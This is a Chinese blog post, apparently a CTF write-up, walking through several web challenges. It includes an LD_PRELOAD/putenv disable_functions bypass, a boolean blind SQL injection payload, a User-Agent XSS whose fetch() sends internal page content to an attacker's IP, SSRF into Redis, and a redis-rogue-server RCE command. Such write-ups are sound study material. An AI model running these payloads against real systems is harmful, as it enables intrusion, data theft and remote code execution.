?cmd=putenv("LD_PRELOAD=/var/www/html/flag.so");error_log("",1,"","");

然而buu上的readflag需要计算

于是使用一些其它操作,先检查一下服务器上有没有perl
perl -v > /var/www/html/i.txt

有安装perl,看这个readflag的输出感觉和*ctf有一题应该时一样的,于是拿当时的官方exp

use strict;
use IPC::Open3;
my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' )
  or die "open3() failed $!";
my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";

然后执行输出
perl /var/www/html/a.pl > /var/www/html/b.html
再访问一下

这里记得要用html或者其它能显示的,一开始用了txt什么都显示不出来,查了别人的wp后才发现txt要下载才能看到,之前的就已经打出来了,真的傻了

还有那个盲注的部分,实际上还能用这个payload进行布尔盲注
1' ^ (ascii(substr((select(group_concat(table_name)) from (information_schema.tables)where table_schema=database()),1,1))>200) ^ '1
这个payload正确的情况下是会所有文章都改成一样,可以通过这个逻辑去判断。实际上我的那个payload当错误时也会全改,不过判断时间简单点,虽然有点久

icloudmusic

这题唯一解的W&M战队的大佬说是漏洞危害不公开wp,也没有环境分析,就先放着吧(好像是SUCTF那道改的题)

DOT_server_prove

这题也没有靶机,看wp记录几点疑问以及自己的见解

首先是parse文件,放入IDA分析后

大佬通过函数名就判断出了这是go的二进制文件,这个真的学不会,以后能弄到go的二进制文件再来比对看看【整完hgame那题后也许这种映引入大量库的大概率是go?

然后是dot server,见这篇
如何开发打点统计系统
就是通过nginx日志(或者通过其它方式)获得入站信息并统计

接着是这条命令对nginx日志的处理
cat /tmp/test.txt | awk -F ' "' '{print $NF}' >> /tmp/data.txt ;echo '' > /tmp/test.txt
读取/tmp/test.txt中的信息,然后以 "将每行分隔为多列,并取最后一列的数据写入/tmp/data.txt,最后清空/tmp/test.txt

而nginx日志是(access.log)

10.1.1.1 - - 
[09/Feb/2019:22:41:28 +0800] "GET /index.html HTTP/1.1" 200 612 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"

处理之后应该是

10.1.1.1 - - 
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"

剩余访问时间和UA

由于可以通过查看题目的源码发现

var ajax = new XMLHttpRequest();
    ajax.open('get','http://dot.whizard.com/123');
    ajax.send();
    ajax.onreadystatechange = function () {
}

于是使用这个url的UA进行XSS,通过回弹的消息的RFF得到来自8080端口

fetch('http://127.0.0.1:8080').then(r=>r.text()).then(d=>{fetch('http://IP:9999/'+btoa(d))})

访问打页面源码,提示的robots.txt中提示了curl.php,能够进行SSRF。扫描发现6379端口开着

这里需要利用Redis的RCE漏洞
Redis(<=5.0.5) RCE
这样执行
python3 redis-rogue-server.py --rhost=target_ip --lhost=vps_ip --exp=exp.so

不过由于要通过XSS打,所以要抓流量,然后再通过XSS打过去。一共三段流量,第一二段之间需要停顿3秒左右保证文件同步完成

最后修改:2020 年 03 月 18 日 10 : 25 PM
如果觉得我的文章对你有用,请随意赞赏

发表评论